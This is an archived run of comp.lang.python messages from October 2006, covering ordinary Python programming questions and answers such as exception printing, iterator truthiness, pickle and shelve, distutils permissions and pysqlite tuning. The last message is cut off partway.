<453baf5f$0$324$e4fe514c@news.xs4all.nl> Hello, I want to alter the way exceptions print themselves. More specifically, I'd like to extend the __str__ method of the exception's class so that it is printed in a different way. I used to replace the __str__ method on the exception object's class by a custom method, but that breaks my code on Python 2.5 because of the following error I'm getting: TypeError: can't set attributes of built-in/extension type 'exceptions.TypeError' Well, ok. So I tried to improve my code and not alter the class, but only the exception object. I came up with this: def __excStr__(self): return "[[[EXCEPTION! "+self.originalStr()+"]]" ... some code that raises an exception 'ex' .... import new newStr = new.instancemethod( __excStr__, ex, ex.__class__) ex.__str__=newStr On Python 2.4 the above code works as I expect, however on Python 2.5 it doesn't seem to have any effect... What am I doing wrong? Or is there perhaps a different way to do what I want? Thanks! --Irmen de Jong From tim.peters at gmail.com Sun Oct 1 16:17:38 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 1 Oct 2006 16:17:38 -0400 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: Message-ID: <1f7befae0610011317s79bc5f2bg381a947dc731a92f@mail.gmail.com> [Steve Holden, "pins the blame" for pauses on periodic cyclic gc] > ... > So basically what you have here is a pathological example of why it's > sometimes wise to disable garbage collection. Tim, did I miss anything? Nope! From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 07:15:31 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 21:15:31 +1000 Subject: question about True values References: <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> Message-ID: On Sat, 28 Oct 2006 11:42:42 +0200, Marc 'BlackJack' Rintsch wrote: > In , Steven > D'Aprano wrote: > >> On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote: >> >>> Iterators do have overlapping uses with lists, but the "if a:" doesn't >>> work for them, so it's moot. >> >> Sure it works for iterators. >> >>>>> it = iter([0]) >>>>> bool(it) >> True >>>>> it.next() >> 0 >>>>> bool(it) >> False > > It works for *this* iterator. By accident. Blimey, you're right. That can't be good. In fact, it made a certain BDFL pretty mad: http://mail.python.org/pipermail/python-dev/2005-September/056594.html Okay, so all iterators are intentionally *supposed* to be True, always, even if they are exhausted. As Guido says, don't treat iterators as containers. Fair enough. -- Steven. From george.sakkis at gmail.com Thu Oct 19 00:01:36 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 18 Oct 2006 21:01:36 -0700 Subject: Getting method name from within the class method References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> Message-ID: <1161230496.293074.122990@k70g2000cwa.googlegroups.com> Mitko Haralanov wrote: > On 18 Oct 2006 14:38:12 -0700 > yellowalienbaby at gmail.com wrote: > > > >>> class test(object): > > ... def a_method(self,this,that): > > ... print self.a_method.__name__ > > Doing the above will obviously work! > > However, I don't want to have to use the name of the function in the > print statement (the ".a_method." part). Imagine having about 100 of > the above print statements in the function and then you change the name > of the function. I want all 100 of the print statements to work without > having to change every one of them to reflect the new function name. from inspect import getframeinfo,currentframe class test(object): def a_method(self,this,that): print getframeinfo(currentframe())[2] If you *really* have about 100 functions or methods you want to print their names, don't copy and paste this all over the place; use a decorator instead so that you can just write: class test(object): @print_name def a_method(self,this,that): pass @print_name def b_method(self,this,that): pass The definition of print_name is left as an exercise to the reader. HTH, George From fredrik at pythonware.com Thu Oct 5 02:32:14 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 08:32:14 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Steve Holden wrote: > Excellent. I've just complained elsewhere in this thread that those > dissenting didn't appear to want to rectify the situation by offering > their time. It would be nice to be wrong about that. the dissenting won't contribute a thing, of course. they never ever do. but not everyone is wired that way. From esj at harvee.org Mon Oct 9 19:17:22 2006 From: esj at harvee.org (Eric S. Johansson) Date: Mon, 09 Oct 2006 19:17:22 -0400 Subject: distutils:permissions problems In-Reply-To: <452AD246.5010507@v.loewis.de> References: <452AD246.5010507@v.loewis.de> Message-ID: <452AD882.7090200@harvee.org> Martin v. L?wis wrote: > Eric S. Johansson schrieb: >> The problem is that, because of a quirk (or misfeature) of VM Ware >> shared filesystem, all of the directories and files are owned by root >> with a 700 permissions. When I run setup.py install, they are installed >> as root with 700 permissions. How can I alter the behavior of distutils >> so that my modules could be installed with a more useful user and >> permissions? > > I recommend to change the permissions after the files have been > installed. If you absolutely have to change setup.py, you should inherit > from the install_lib and install_scripts commands, and either override > the "install" method to install using a different umask, or you should > look at the get_outputs() result of the command, and modify the files > after they got installed. > > You might also try changing your umask. thank you for your kind reply. I have already tried changing umask. The vmware filesystem has its own interpretation of permissions and access which bears absolutely no resemblance to either the UNIX or the NT models. It feeds false data into the system and well, we get to have this conversation. :-) I'm currently changing permissions afterwards and that's a source of installation breakage because the same information is stored in multiple places. I might be able to unify things if I can figure out how to make all components reference everything in a setup.cfg file. your suggestion about modifications isn't all that horrible because I'm already doing a significant amount of work that isn't covered by the distutils code as documented. thank you for the pointers to additional functionality that might be useful to me. ---eric > > Regards, > Martin > From sjmachin at lexicon.net Fri Oct 6 02:43:10 2006 From: sjmachin at lexicon.net (John Machin) Date: 5 Oct 2006 23:43:10 -0700 Subject: Pysqlite tables in RAM In-Reply-To: <1160114966.864979.193390@h48g2000cwc.googlegroups.com> References: <1159527458.488317.67350@b28g2000cwb.googlegroups.com> <1160114966.864979.193390@h48g2000cwc.googlegroups.com> Message-ID: <1160116990.467639.302720@i3g2000cwc.googlegroups.com> Ranjitha wrote: > Fredrik Lundh wrote: > > > Ranjitha wrote: > > > > > I want to store my data in a database on the disk. I also want to be > > > able to reload the tables into the RAM whenever I have a lot of disk > > > accesses and commit the changes back to the database. > > > > using the cache_size and synchronous pragmas sounds like a better way to > > trade reliability against speed/memory use. e.g. > > > > table_memory = 100000000 # bytes > > cur.execute("pragma cache_size = %d;" % (table_memory / 1500)) > > > > ... > > > > cur.execute("pragma synchronous = off;") > > # do lots of stuff > > cur.execute("pragma synchronous = full;") > > > > for more on this, see: http://www.sqlite.org/pragma.html > > > > > > Thanks a lot for the help but could you please elaborate on this. I'm > finding it difficult to follow the link you sent me. The jargon seems > all too new for me. > For a start, you don't need to read the whole page, just the sections on "cache_size" [the more memory in the cache, the faster it will run -- up to a point, which you could experiment with] and "synchronous" [off = faster/dangerous, on = slower/safer]. It would help greatly if you said which particular words or phrases you don't understand, plus give an assurance that you have made *some* effort to help yourself e.g. googled the puzzling words/phrases ... Have you actually tried doing what Fredrik suggested? From pavlovevidence at gmail.com Fri Oct 27 14:25:09 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 27 Oct 2006 11:25:09 -0700 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: <1161973508.972142.109500@i42g2000cwa.googlegroups.com> Steven D'Aprano wrote: > But in this specific instance, I don't see any advantage to explicitly > testing the length of a list. Antoon might think that is sufficiently > polymorphic, but it isn't. He cares whether the object has zero _length_, > but for true polymorphism, he should be caring about whether the object is > _empty_. Not all empty objects have zero length, or even a length at all. > (E.g. binary trees.) Conversely, not all objects that have length consider zero-length to be false. Whether you test with "if a:" or "if len(a)>0", some objects are going to be denied. Thing is, objects that don't have length have almost no overlapping uses with lists (i.e., you'd hardly ever write a function that could take an int or a list, unless you type check the argument or use only object protocol stuff like id and getattr, or pass it to another function that does the same). Iterators do have overlapping uses with lists, but the "if a:" doesn't work for them, so it's moot. OTOH, objects that have length but don't consider zero-length to be false (numpy arrays) do have overlapping uses with lists. So, as a practical matter, I'd be inclined to side with Antoon on this issue, even if it only increases polymorphism for certain people. "if a:" almost never increases polymorphism because almost no lengthless objects would work in that function anyways. Even if you don't use numpy arrays, there's little practical benefit of "if a:" except to save typing. If you do use numpy, it limits polymorphism. "if len(a)>0" does increase polymorphism because it allows for objects that have length but don't equate empty to false. P.S. binary trees do have length: it's the number of nodes, just as the number of keys is the length of a dict. I can't think of any objects that use indexing but don't have a length, except for poorly-implemented proxy objects. It's possible to define such types, but would that be a Pythonic use of indexing? Carl Banks From richard.kessler at matteicos.com Tue Oct 10 22:57:27 2006 From: richard.kessler at matteicos.com (Richard Kessler) Date: Wed, 11 Oct 2006 02:57:27 +0000 (UTC) Subject: Format a number as currency! I can't find any help on this simple problem. Message-ID: I am relatively new to Python. Love it, but I find things that I can do easily in .NET and cannot find a way to do in Python. I need to format a number as currency, for example 12343.56 to $12,343.56. In C# all I need to do is decimal x = 12343.56 then x.ToString("$###,###.00"); I cannot find a way to do this in Python. I must be missing something very simple here. I have tried the locale module but it will not put in the commas. I hope I do not have to write my own formatting routine...surely one is out there and I just can't find it. Running on XP Pro. Python 2.4.3. Thanks much in advance, Richard From tjreedy at udel.edu Wed Oct 25 21:29:57 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 25 Oct 2006 21:29:57 -0400 Subject: question about True values References: <17727.47016.632530.720950@montanaro.dyndns.org> Message-ID: "Steve Holden" wrote in message news:ehoqhe$6iq$3 at sea.gmane.org... >> the string class's "nil" value. Each of the builtin types has such an >> "empty" or "nil" value: >> >> string "" >> list [] >> tuple () >> dict {} >> int 0 >> float 0.0 >> complex 0j >> set set() >> >> Any other value besides the above will compare as "not false". >> > > And today's question for the novices is: which Python type did Skip miss > from the above list? more that one: 0L decimal.Decimal(0) # is decimal.Decimal('0'), also u'' array.array('c') # or any other typecode, I suspect, without initializer Terry Jan Reedy From tjreedy at udel.edu Thu Oct 5 12:08:32 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 5 Oct 2006 12:08:32 -0400 Subject: Why do this? References: Message-ID: "Matthew Warren" wrote in message news:D4F9316ACC9D20489CC81D19B8A87D5B039FE58E at UKEX01.Digica.local... > I learned over the years to do things like the following, and I like > doing it like this because of readability, something Python seems to > focus on :- > > Print "There are "+number+" ways to skin a "+furryanimal In python: IDLE 1.1.3 >>> number = 3 >>> furryanimal = 'rat' >>> print 'There are', number, 'of ways to skin a', furryanimal There are 3 of ways to skin a rat You have to remember that spaces are added automatically. Printing a comma list is quite common in informal and preliminary work and sometimes in finished work when its output is good enough. > But nowadays, I see things like this all over the place; > > print("There are %s ways to skin a %s" % (number, furryanimal)) This gives more control over exact format of output. Some people may also prefer having variables grouped together at end, especially if they 'grew up' on C (for instance) rather than Basic. Terry Jan Reedy From http Tue Oct 3 04:51:38 2006 From: http (Paul Rubin) Date: 03 Oct 2006 01:51:38 -0700 Subject: I need Cryptogrphy in Python please . References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> <1159863191.600082.78980@c28g2000cwb.googlegroups.com> <1159865178.605751.151280@i42g2000cwa.googlegroups.com> Message-ID: <7xodst2351.fsf@ruckus.brouhaha.com> "NicolasG" writes: > I have made a site using Karrigell as a web server and I want to > provide cryptography services to the visitors. They should wirte their > text on the site and be able choose different encryption algorithms to > apply on the text . Um, why? Just as an exercise? If that's the case, you might enjoy implementing the algorithms in Python. They'd be slow but that might not matter. From shejo284 at gmail.com Wed Oct 4 07:29:31 2006 From: shejo284 at gmail.com (Sheldon) Date: 4 Oct 2006 04:29:31 -0700 Subject: Resuming a program's execution after correcting error In-Reply-To: <1159919897.485421.305490@m73g2000cwd.googlegroups.com> References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com> <1159483617.159482.169770@i3g2000cwc.googlegroups.com> <1159889617.610051.100990@b28g2000cwb.googlegroups.com> <1159919897.485421.305490@m73g2000cwd.googlegroups.com> Message-ID: <1159961371.260811.239240@c28g2000cwb.googlegroups.com> MRAB wrote: > Sheldon wrote: > > MRAB wrote: > > > Sheldon wrote: > > > > Hi. > > > > > > > > Does anyone know if one can resume a python script at the error point > > > > after the error is corrected? > > > > I have a large program that take forever if I have to restart from > > > > scratch everytime. The error was the data writing a file so it seemed > > > > such a waste if all the data was lost and must be recalculated again. > > > > > > > You could modify the program while you're debugging it so that instead > > > of, say: > > > > > > calculate data > > > write data > > > > > > you have: > > > > > > if saved data exists: > > > load data > > > else: > > > calculate data > > > save data > > > write data > > > > > > The pickle module would be useful here. > > > > > > Matthew > > > > I like your idea Matthew but I don't know how to pickle the many > > variables in one file. Do I need to pickle each and every variable into > > a seperate file? > > var1,var2 > > pickle.dump(var1,f) > > pickle.dump(var2,f2) > > > Using the 'pickle' module: > > # To store: > f = open(file_path, "wb") > pickle.dump(var1, f) > pickle.dump(var2, f) > f.close() > > # To load > f = open(file_path, "rb") > var1 = pickle.load(f) > var2 = pickle.load(f) > f.close() > > A more flexible alternative is to use the 'shelve' module. This behaves > like a dict: > > # To store > s = shelve.open(file_path) > s["var1"] = "first" > s["var2"] = [2, 3] > s.close() > > # To load > s = shelve.open(file_path) > print s["var1"] # This prints "first" > print s["var2"] # This prints [2, 3] > s.close() > > Hope that helps > Matthew Perfect Matthew! Much obliged! /Sheldon From yellowalienbaby at gmail.com Wed Oct 18 18:14:20 2006 From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com) Date: 18 Oct 2006 15:14:20 -0700 Subject: Getting method name from within the class method In-Reply-To: <1161209436.684309.296870@m7g2000cwm.googlegroups.com> References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <1161209436.684309.296870@m7g2000cwm.googlegroups.com> Message-ID: <1161209660.000389.319400@h48g2000cwc.googlegroups.com> > for f in $(ls) > do > sed -e "s/print self.a_method.__name__/print self.new_name.__name/g" > done thats a terrible bit of broken shell code, sorry ! From simon at brunningonline.net Tue Oct 3 09:15:55 2006 From: simon at brunningonline.net (Simon Brunning) Date: Tue, 3 Oct 2006 14:15:55 +0100 Subject: Manipulate PDFs In-Reply-To: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com> References: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com> Message-ID: <8c7f10c60610030615s3d562c2ds30a84ce61925d2ca@mail.gmail.com> On 10/3/06, Weko Altamirano wrote: > Hi Everyone, am a developer using Zope and wanted to know if any of you have > ever implemented a pdf generating/creating system using python? This just > means mostly manipulating pdfs (create and/or edit) via web. If you guys > have any suggestions or recommendations please post, thanks. Does ReportLab do the trick for you? -- Cheers, Simon B, simon at brunningonline.net From Leo.Kislov at gmail.com Wed Oct 11 00:32:27 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 10 Oct 2006 21:32:27 -0700 Subject: does raw_input() return unicode? References: <12iln7en9ipit77@corp.supernews.com> Message-ID: <1160541147.208698.252310@e3g2000cwe.googlegroups.com> Duncan Booth wrote: > "Stuart McGraw" wrote: > > > So, does raw_input() ever return unicode objects and if > > so, under what conditions? > > > It returns unicode if reading from sys.stdin returns unicode. > > Unfortunately, I can't tell you how to make sys.stdin return unicode for > use with raw_input. I tried what I thought should work and as you can see > it messed up the buffering on stdin. Does anyone else know how to wrap > sys.stdin so it returns unicode but is still unbuffered? Considering that all consoles are ascii based, the following should work where python was able to determine terminal encoding: class ustdio(object): def __init__(self, stream): self.stream = stream self.encoding = stream.encoding def readline(self): return self.stream.readline().decode(self.encoding) sys.stdin = ustdio(sys.stdin) answer = raw_input() print type(answer) From ldo at geek-central.gen.new_zealand Sun Oct 8 08:09:26 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 01:09:26 +1300 Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> <1160184574.708331.78400@i3g2000cwc.googlegroups.com> <1160222386.410987.230630@b28g2000cwb.googlegroups.com> Message-ID: In message <1160222386.410987.230630 at b28g2000cwb.googlegroups.com>, John Machin wrote: > > Steven D'Aprano wrote: >> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote: >> >> > >> > MonkeeSage wrote: >> >> On Oct 6, 8:02 pm, "MonkeeSage" wrote: >> >> > it is clearer to you to make the condition explicit ("blah not >> >> > False"), >> >> >> >> "blah not False" -> "blah is False" >> > >> > Whichever way your team wants to interpret it, d00d. >> > >> > Please consider whether you should be writing "(blah is False) is >> > True", that would be more explicit. >> >> Puh-lease! Get it right! >> >> It should be "((blah is False) is True) is True". >> > > Yes, but it stops after one more iteration. "What I tell you three > times is true" -- the Bellman, "The Hunting of the Snark", by Lewis > Carroll. But that was only said once, wasn't it? From sgilja at email.t-com.hr Wed Oct 18 13:44:55 2006 From: sgilja at email.t-com.hr (Stens) Date: Wed, 18 Oct 2006 19:44:55 +0200 Subject: characters in python Message-ID: Can python handle this characters: ?,?,?,?,?? If can how" From MrJean1 at gmail.com Thu Oct 19 15:49:47 2006 From: MrJean1 at gmail.com (MrJean1) Date: 19 Oct 2006 12:49:47 -0700 Subject: wxPython help wxSashWindow In-Reply-To: <1161266243.991025.174530@m7g2000cwm.googlegroups.com> References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com> Message-ID: <1161287387.045121.179920@k70g2000cwa.googlegroups.com> Take a look at the "wxSashWindow" example in the wxPython demo. That is located under the Core Windows/Controls item. /Jean Brouwers MatthewWarren wrote: > Hi, I'm wondering if anyone can tell me here, or point to a specific > tutorial ( I have searched for 1/2hour, but can find only reference > style docs or not-quite-what-im-after help) on how to build a > wxSashWindow in wxPython. I'm just starting out with wxPython, and the > first thing i need to do is use 3 sash windows, 1 split vertically, and > on the left and right of that a SashWindow splitting horizontally. I > can make frames, buttons, use sizers etc.. as they are fairly > intuitive, but SashWindow and SashLayoutWindow have stumped me. > > Thanks, > > Matt. From horpner at yahoo.com Thu Oct 26 14:57:54 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 26 Oct 2006 18:57:54 GMT Subject: [OT] Win32 and forward/backslashes (was "The format of filename") References: <4540B26D.1020609@tim.thechases.com> <4540E98A.2080400@probo.com> Message-ID: On 2006-10-26, Tim Chase wrote: > There's no "zip" in the "baz" directory, so let's copy it > there: > > C:\temp>copy foo/bar/zip foo/baz > foo\zip > Overwrite foo\zip? (Yes/No/All): y > The file cannot be copied onto itself. > 0 file(s) copied. > > What the [expletive]!? Well, there's a "zip" in our temp > directory, but no "pip". How about we try copying "pip" to the > "baz" directory instead while keeping the same syntax as above? > > C:\temp>copy foo/bar/pip foo/baz > The syntax of the command is incorrect. > > BLOODY MADNESS! > > Some OS programmer doesn't seem to have graduated from their > CompSci program... It comes from every DOS command traditionally doing it's own path globbing and unglobbing since the shell doesn't do it. You would think that a library would've been available to DOS programmers to unify that procedure, but apparently not. -- Neil Cerutti From bearophileHUGS at lycos.com Sun Oct 8 08:27:29 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 8 Oct 2006 05:27:29 -0700 Subject: need some regular expression help In-Reply-To: References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160302110.502512.152280@i42g2000cwa.googlegroups.com> Message-ID: <1160310449.881879.204910@k70g2000cwa.googlegroups.com> Fredrik Lundh wrote: > it's slightly faster, but both your alternatives are about 10x slower > than a straightforward: > def balanced(txt): > return txt.count("(") == txt.count(")") I know, but if you read my post again you see that I have shown those solutions to mark ")))(((" as bad expressions. Just counting the parens isn't enough. Bye, bearophile From anthra.norell at vtxmail.ch Sat Oct 28 12:20:43 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Sat, 28 Oct 2006 18:20:43 +0200 Subject: Where do nested functions live? In-Reply-To: References: Message-ID: <4543835B.9020903@vtxmail.ch> Fredrik Lundh wrote: > Steven D'Aprano wrote: > > >> I defined a nested function: >> >> def foo(): >> def bar(): >> return "bar" >> return "foo " + bar() >> >> which works. Knowing how Python loves namespaces, I thought I could do >> this: >> >> >>>>> foo.bar() >>>>> >> Traceback (most recent call last): >> File "", line 1, in ? >> AttributeError: 'function' object has no attribute 'bar' >> >> but it doesn't work as I expected. >> >> where do nested functions live? >> > > in the local variable of an executing function, just like the variable > "bar" in the following function: > > def foo(): > bar = "who am I? where do I live?" > > (yes, an inner function is *created* every time you execute the outer > function. but it's created from prefabricated parts, so that's not a > very expensive process). > > > > If I may turn the issue around, I could see a need for an inner function to be able to access the variables of the outer function, the same way a function can access globals. Why? Because inner functions serve to de-multiply code segments one would otherwise need to repeat or to provide a code segment with a name suggestive of its function. In either case the code segment moved to the inner function loses contact with its environment, which rather mitigates its benefit. If I have an inner function that operates on quite a few outer variables it would be both convenient and surely more efficient, if I could start the inner function with a declaration analogous to a declaration of globals, listing the outer variables which I wish to remain writable directly. I guess I could put the outer variables into a list as argument to the inner function. But while this relieves the inner function of returning lots of values it burdens the outer function with handling the list which it wouldn't otherwise need. Frederic From ldo at geek-central.gen.new_zealand Mon Oct 9 04:22:15 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 21:22:15 +1300 Subject: CGI Tutorial References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1160071257.200774.90900@e3g2000cwe.googlegroups.com> Message-ID: In message , Steve Holden wrote: > Lawrence D'Oliveiro wrote: >> In message , Steve >> Holden wrote: >> >> >>>Credit card numbers should be encrypted in the database, of course, but >>>they rarely are (even by companies whose reputations imply they ought to >>>know better). >> >> How would encryption help? They'd still have to be decrypted to be used. > > Indeed they would, but with proper key management the probability that > they can be stolen from a database in their plaintext form is rather > lower. Just last week a police employee in my class told us of an > exploit where a major credit card copmany's web site had been hacked > using a SQL injection vulnerability. This is usually done with the > intent of gaining access to credit card data. If they can do that, it doesn't seem much of a step to compromise the code that decrypts the credit card data, as well. Keeping it encrypted, when the key needs to be kept at the same (in)security level, is just security-through-obscurity. From nospam at jollans.com Tue Oct 3 17:12:13 2006 From: nospam at jollans.com (Thomas Jollans) Date: Tue, 3 Oct 2006 23:12:13 +0200 Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: On Tue, 03 Oct 2006 13:16:57 -0700, "LaundroMat" let this slip: > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. > > Thanks in advance. a) if you feel that your program needs to pass a value, fix the program. b) >>> def f(v=1): ... return v*2 ... >>> f() 2 >>> f(1) 2 >>> f(*[1]) 2 >>> f(*[]) 2 >>> *[list] is the reverse of def f(*args) -- Thomas Jollans alias free-zombie From rpdooling at gmail.com Mon Oct 30 08:31:36 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 30 Oct 2006 05:31:36 -0800 Subject: IE7 skulduggery? Message-ID: <1162215096.900543.78860@k70g2000cwa.googlegroups.com> Hello everyone: I use Firefox, but perhaps unwisely accepted the XP update to IE7 when it came in. When I check under folder options, my htm and html files are still associated with FireFox. However, now when I attempt to use my nice site launcher that I wrote in Python (which has worked fine for months), I get this new error: d:\python>l clp Traceback (most recent call last): File "d:\python\l.py", line 208, in ? launch(obj) File "d:\python\l.py", line 120, in launch webbrowser.open(sites[obj][1]) File "C:\Python24\lib\webbrowser.py", line 43, in open get().open(url, new, autoraise) File "C:\Python24\lib\webbrowser.py", line 250, in open os.startfile(url) WindowsError: [Errno 1155] No application is associated with the specified file for this operation: 'http://groups.google.com/group/comp.lang.python' On my other machines, which have not yet received the IE7 update, the same script runs fine and launches the sites in FireFox. Anybody else seeing something like this post IE7? Also, suddenly links don't open inside Thunderbird, but they do inside Outlook. How convenient. Upgrading to FireFox 2.0 didn't change anything. Live and learn. rd From aisaac0 at verizon.net Mon Oct 2 11:10:41 2006 From: aisaac0 at verizon.net (David Isaac) Date: Mon, 02 Oct 2006 15:10:41 GMT Subject: SimpleParse installer available for 2.5 Message-ID: This is important for my move to Python 2.5, so I thought others might want to know... Alan Isaac From johnjsal at NOSPAMgmail.com Sun Oct 1 12:48:14 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Sun, 01 Oct 2006 12:48:14 -0400 Subject: question about scope In-Reply-To: <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com> References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com> <451f52f1$0$1803$c3e8da3@news.astraweb.com> <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com> Message-ID: <451ff246$0$30811$c3e8da3@news.astraweb.com> James Stroud wrote: > This is because that list is an attribute of the class. Instances have a > reference of this class attribute, but it can be replaced by an > attribute of the instance with self (self is a reference to the instance > and not the class. This example might help: Ah, I see! So within my create_menubar() method, would it better to refer to menu_items as DataAccessFrame.menu_items? Or does it not matter in this case, since I'm not reassigning it per instance? From grante at visi.com Fri Oct 13 11:20:56 2006 From: grante at visi.com (Grant Edwards) Date: Fri, 13 Oct 2006 15:20:56 -0000 Subject: Starting out. References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160715256.698199.64540@h48g2000cwc.googlegroups.com> <1160749619.514641.11870@k70g2000cwa.googlegroups.com> <1160752561.4515.1.camel@dsktp> Message-ID: <12ivbmoav9liff8@corp.supernews.com> On 2006-10-13, Andrew Poelstra wrote: > On Fri, 2006-10-13 at 07:26 -0700, Ahmer wrote: >> From what I can see Python and PHP have VERY simillar syntax (sorry if >> I offended anyone but I am a "n00b".) > 2) You may be thinking of Perl, which has a very similar syntax to PHP. Perl has syntax? > In all the languages I've seen, Python is in a class of its own. -- Grant Edwards grante Yow! Hand me a pair of at leather pants and a CASIO visi.com keyboard -- I'm living for today! From ironpythonster at gmail.com Tue Oct 17 03:44:34 2006 From: ironpythonster at gmail.com (Kevien Lee) Date: Tue, 17 Oct 2006 15:44:34 +0800 Subject: How to paras such echo string effection? Message-ID: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> Hi everyone, When i decide to paras a string,which return from running a CVS command,it's amaze that i want to get some file of the echo string ,how to make paras process more effect? the problem detail as follow that: run command:"cvs status -r" it will return all the file list in as follow? =================================================================== File: file01.xls Status: Up-to-date Working revision: 1.1 Repository revision: 1.1 /msg/file01.xls,v Sticky Tag: (none) Sticky Date: (none) Sticky Options: -kb cvs status: Examining 20060815 =================================================================== File: file02.xls Status: Up-to-date Working revision: 1.1 Repository revision:/msg/file02.xls ,v Sticky Tag: (none) Sticky Date: (none) Sticky Options: -kb cvs status: Examining 20060816 =================================================================== Now ,i just what to know the file of "Status",if paras all should be coast expenses,is there any effect way? PS:is there any python lib for CVS ? Thanks Best regards Kevin Lee -------------- next part -------------- An HTML attachment was scrubbed... URL: From scott.daniels at acm.org Tue Oct 10 00:21:19 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Mon, 09 Oct 2006 21:21:19 -0700 Subject: 3D Vector Type Line-Drawing Program In-Reply-To: References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> Message-ID: <452b17a7$1@nntp0.pdx.net> James Stroud wrote: >> I'm looking for a program to do line-drawings in 3d, with output to >> postscript or svg or pdf, etc. I would like to describe a scene with >> certain 1-3d elements oriented in 3d space with dashed or colored >> lines and filled or transparent surfaces (or maybe semitransparent). Take a look at VPython -- easy to start, 3-D display (wall-eye / cross-eye) easy to run on. -- --Scott David Daniels scott.daniels at acm.org From gagsl-py at yahoo.com.ar Sat Oct 7 03:14:42 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Sat, 07 Oct 2006 04:14:42 -0300 Subject: Subclassing built-in classes In-Reply-To: <200610061158.21402.maric@aristote.info> References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> <200610051700.00482.maric@aristote.info> <200610061158.21402.maric@aristote.info> Message-ID: <7.0.1.0.0.20061007031449.039efa98@yahoo.com.ar> At Friday 6/10/2006 06:58, Maric Michaud wrote: >As the first post said "...couldn't python (in theory)...", I was discussing >if it would be possible for python (in some future version) to manage the >literals so that they use the constructors in the __builtin__ module, I >didn't say it works actually (I'm aware it's not the case). The idea looks crazy for me... You suggest that code like this: x = 12 + 6.0 - len('ABCD' would be evaluated at run time as it were: x = int('12') + float('6.0') - len(str('ABCD')) Certainly would slow down the whole execution time *a*lot*, with no benefit for almost nobody, if *every* reference to *any* literal in the code calls a python function at run time. And unless you return *exactly* the same object as now, almost all code would break! Do you have any useful usage for this? -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From fulvio at tm.net.my Sat Oct 21 05:41:04 2006 From: fulvio at tm.net.my (Fulvio) Date: Sat, 21 Oct 2006 17:41:04 +0800 Subject: The fastest search Message-ID: <200610211741.04359.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** Hello, I'm poor in knoweledge of python, sorry. What's the fastest result between : if item in alist: do_something or if adictionay has_key(item): do_something Is there some trick to apply the best search in wise use of resources while using the above said methods? F From gagsl-py at yahoo.com.ar Wed Oct 18 22:06:03 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 23:06:03 -0300 Subject: Flexable Collating (feedback please) In-Reply-To: References: <35kZg.6681$fl.2685@dukeread08> Message-ID: <7.0.1.0.0.20061018223515.04259c40@yahoo.com.ar> At Wednesday 18/10/2006 21:36, Ron Adam wrote: > >> if 